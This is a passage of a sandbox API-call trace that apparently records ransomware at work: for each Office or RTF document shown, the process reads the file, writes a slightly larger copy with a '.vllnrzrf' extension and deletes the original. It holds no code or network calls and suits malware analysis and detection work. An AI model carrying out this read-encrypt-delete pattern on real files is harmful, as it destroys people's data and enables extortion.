lpNumberOfBytesWritten=0x1d00de38, lpOverlapped=0x0 | out: lpBuffer=0x2297698*, lpNumberOfBytesWritten=0x1d00de38*=0x1321, lpOverlapped=0x0) returned 1 [0101.173] CloseHandle (hObject=0x4d4) returned 1 [0101.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf", lpFilePart=0x0) returned 0x43 [0101.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf", nBufferLength=0x105, lpBuffer=0x1d00d9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf", lpFilePart=0x0) returned 0x43 [0101.175] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\8TPv.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\8tpv.rtf")) returned 1 [0101.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt", lpFilePart=0x0) returned 0x51 [0101.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt", lpFilePart=0x0) returned 0x51 [0101.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt", lpFilePart=0x0) returned 0x51 [0101.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\g7xu ozhamd4v8mrlf.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.181] GetFileType (hFile=0x4d4) returned 0x1 [0101.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.181] GetFileType (hFile=0x4d4) returned 0x1 [0101.181] GetFileSize (in: hFile=0x4d4, lpFileSizeHigh=0x1d00dea8 | out: lpFileSizeHigh=0x1d00dea8*=0x0) returned 0xd551 [0101.182] ReadFile (in: hFile=0x4d4, lpBuffer=0x229cb30, nNumberOfBytesToRead=0xd551, lpNumberOfBytesRead=0x1d00ddd8, lpOverlapped=0x0 | out: lpBuffer=0x229cb30*, lpNumberOfBytesRead=0x1d00ddd8*=0xd551, lpOverlapped=0x0) returned 1 [0101.183] CloseHandle (hObject=0x4d4) returned 1 [0101.196] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt.vllnrzrf", lpFilePart=0x0) returned 0x5a [0101.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.196] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\g7xu ozhamd4v8mrlf.ppt.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.197] GetFileType (hFile=0x4d4) returned 0x1 [0101.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.197] GetFileType (hFile=0x4d4) returned 0x1 [0101.197] WriteFile (in: hFile=0x4d4, lpBuffer=0x22e7930*, nNumberOfBytesToWrite=0xd751, lpNumberOfBytesWritten=0x1d00de38, lpOverlapped=0x0 | out: lpBuffer=0x22e7930*, lpNumberOfBytesWritten=0x1d00de38*=0xd751, lpOverlapped=0x0) returned 1 [0101.199] CloseHandle (hObject=0x4d4) returned 1 [0101.203] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt", lpFilePart=0x0) returned 0x51 [0101.203] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt", nBufferLength=0x105, lpBuffer=0x1d00d9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt", lpFilePart=0x0) returned 0x51 [0101.203] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\g7XU OZHaMD4v8MRlf.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\g7xu ozhamd4v8mrlf.ppt")) returned 1 [0101.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls", lpFilePart=0x0) returned 0x45 [0101.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls", lpFilePart=0x0) returned 0x45 [0101.207] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls", lpFilePart=0x0) returned 0x45 [0101.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\jccaky.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.208] GetFileType (hFile=0x4d4) returned 0x1 [0101.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.208] GetFileType (hFile=0x4d4) returned 0x1 [0101.208] GetFileSize (in: hFile=0x4d4, lpFileSizeHigh=0x1d00dea8 | out: lpFileSizeHigh=0x1d00dea8*=0x0) returned 0x17474 [0101.208] ReadFile (in: hFile=0x4d4, lpBuffer=0x1236afc8, nNumberOfBytesToRead=0x17474, lpNumberOfBytesRead=0x1d00ddd8, lpOverlapped=0x0 | out: lpBuffer=0x1236afc8*, lpNumberOfBytesRead=0x1d00ddd8*=0x17474, lpOverlapped=0x0) returned 1 [0101.211] CloseHandle (hObject=0x4d4) returned 1 [0101.232] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls.vllnrzrf", lpFilePart=0x0) returned 0x4e [0101.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.232] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\jccaky.xls.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.233] GetFileType (hFile=0x4d4) returned 0x1 [0101.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.233] GetFileType (hFile=0x4d4) returned 0x1 [0101.233] WriteFile (in: hFile=0x4d4, lpBuffer=0x123f6ad0*, nNumberOfBytesToWrite=0x17674, lpNumberOfBytesWritten=0x1d00de38, lpOverlapped=0x0 | out: lpBuffer=0x123f6ad0*, lpNumberOfBytesWritten=0x1d00de38*=0x17674, lpOverlapped=0x0) returned 1 [0101.236] CloseHandle (hObject=0x4d4) returned 1 [0101.238] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls", lpFilePart=0x0) returned 0x45 [0101.239] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls", nBufferLength=0x105, lpBuffer=0x1d00d9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls", lpFilePart=0x0) returned 0x45 [0101.239] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\JcCAKy.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\jccaky.xls")) returned 1 [0101.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf", lpFilePart=0x0) returned 0x44 [0101.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf", lpFilePart=0x0) returned 0x44 [0101.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf", lpFilePart=0x0) returned 0x44 [0101.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.267] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\koqoe.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.267] GetFileType (hFile=0x4d4) returned 0x1 [0101.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.267] GetFileType (hFile=0x4d4) returned 0x1 [0101.267] GetFileSize (in: hFile=0x4d4, lpFileSizeHigh=0x1d00dea8 | out: lpFileSizeHigh=0x1d00dea8*=0x0) returned 0x18f45 [0101.269] ReadFile (in: hFile=0x4d4, lpBuffer=0x1240e180, nNumberOfBytesToRead=0x18f45, lpNumberOfBytesRead=0x1d00ddd8, lpOverlapped=0x0 | out: lpBuffer=0x1240e180*, lpNumberOfBytesRead=0x1d00ddd8*=0x18f45, lpOverlapped=0x0) returned 1 [0101.272] CloseHandle (hObject=0x4d4) returned 1 [0101.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf.vllnrzrf", lpFilePart=0x0) returned 0x4d [0101.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.295] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\koqoe.rtf.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.295] GetFileType (hFile=0x4d4) returned 0x1 [0101.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.296] GetFileType (hFile=0x4d4) returned 0x1 [0101.296] WriteFile (in: hFile=0x4d4, lpBuffer=0x124a3e28*, nNumberOfBytesToWrite=0x19145, lpNumberOfBytesWritten=0x1d00de38, lpOverlapped=0x0 | out: lpBuffer=0x124a3e28*, lpNumberOfBytesWritten=0x1d00de38*=0x19145, lpOverlapped=0x0) returned 1 [0101.299] CloseHandle (hObject=0x4d4) returned 1 [0101.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf", lpFilePart=0x0) returned 0x44 [0101.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf", nBufferLength=0x105, lpBuffer=0x1d00d9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf", lpFilePart=0x0) returned 0x44 [0101.301] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\koqoe.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\koqoe.rtf")) returned 1 [0101.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt", lpFilePart=0x0) returned 0x52 [0101.358] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt", lpFilePart=0x0) returned 0x52 [0101.421] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt", lpFilePart=0x0) returned 0x52 [0101.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.422] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\stvsmxckkaqoptsjmaw.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.422] GetFileType (hFile=0x4d4) returned 0x1 [0101.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.422] GetFileType (hFile=0x4d4) returned 0x1 [0101.422] GetFileSize (in: hFile=0x4d4, lpFileSizeHigh=0x1d00dea8 | out: lpFileSizeHigh=0x1d00dea8*=0x0) returned 0x1556c [0101.422] ReadFile (in: hFile=0x4d4, lpBuffer=0x124bcfa8, nNumberOfBytesToRead=0x1556c, lpNumberOfBytesRead=0x1d00ddd8, lpOverlapped=0x0 | out: lpBuffer=0x124bcfa8*, lpNumberOfBytesRead=0x1d00ddd8*=0x1556c, lpOverlapped=0x0) returned 1 [0101.425] CloseHandle (hObject=0x4d4) returned 1 [0101.446] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt.vllnrzrf", lpFilePart=0x0) returned 0x5b [0101.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\stvsmxckkaqoptsjmaw.ppt.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.447] GetFileType (hFile=0x4d4) returned 0x1 [0101.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.447] GetFileType (hFile=0x4d4) returned 0x1 [0101.447] WriteFile (in: hFile=0x4d4, lpBuffer=0x121ffbb8*, nNumberOfBytesToWrite=0x1576c, lpNumberOfBytesWritten=0x1d00de38, lpOverlapped=0x0 | out: lpBuffer=0x121ffbb8*, lpNumberOfBytesWritten=0x1d00de38*=0x1576c, lpOverlapped=0x0) returned 1 [0101.451] CloseHandle (hObject=0x4d4) returned 1 [0101.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt", lpFilePart=0x0) returned 0x52 [0101.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt", nBufferLength=0x105, lpBuffer=0x1d00d9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt", lpFilePart=0x0) returned 0x52 [0101.455] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\StvSmXCkKAQoPtSJMaw.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\stvsmxckkaqoptsjmaw.ppt")) returned 1 [0101.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps", lpFilePart=0x0) returned 0x49 [0101.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps", lpFilePart=0x0) returned 0x49 [0101.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps", lpFilePart=0x0) returned 0x49 [0101.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\vmpnmr3ix4.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.463] GetFileType (hFile=0x4d4) returned 0x1 [0101.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.463] GetFileType (hFile=0x4d4) returned 0x1 [0101.463] GetFileSize (in: hFile=0x4d4, lpFileSizeHigh=0x1d00dea8 | out: lpFileSizeHigh=0x1d00dea8*=0x0) returned 0x8773 [0101.463] ReadFile (in: hFile=0x4d4, lpBuffer=0x21fc778, nNumberOfBytesToRead=0x8773, lpNumberOfBytesRead=0x1d00ddd8, lpOverlapped=0x0 | out: lpBuffer=0x21fc778*, lpNumberOfBytesRead=0x1d00ddd8*=0x8773, lpOverlapped=0x0) returned 1 [0101.464] CloseHandle (hObject=0x4d4) returned 1 [0101.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps.vllnrzrf", lpFilePart=0x0) returned 0x52 [0101.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00dd10) returned 1 [0101.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\vmpnmr3ix4.pps.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4d4 [0101.473] GetFileType (hFile=0x4d4) returned 0x1 [0101.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00dc80) returned 1 [0101.473] GetFileType (hFile=0x4d4) returned 0x1 [0101.473] WriteFile (in: hFile=0x4d4, lpBuffer=0x223e130*, nNumberOfBytesToWrite=0x8973, lpNumberOfBytesWritten=0x1d00de38, lpOverlapped=0x0 | out: lpBuffer=0x223e130*, lpNumberOfBytesWritten=0x1d00de38*=0x8973, lpOverlapped=0x0) returned 1 [0101.475] CloseHandle (hObject=0x4d4) returned 1 [0101.476] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps", nBufferLength=0x105, lpBuffer=0x1d00d830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps", lpFilePart=0x0) returned 0x49 [0101.476] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps", nBufferLength=0x105, lpBuffer=0x1d00d9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps", lpFilePart=0x0) returned 0x49 [0101.476] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xG3o4vXcW\\ObfKAMb7\\VmPnMr3iX4.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xg3o4vxcw\\obfkamb7\\vmpnmr3ix4.pps")) returned 1 [0101.478] CoUninitialize () Thread: id = 71 os_tid = 0xb64 [0101.492] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0101.492] GetFullPathNameW (in: 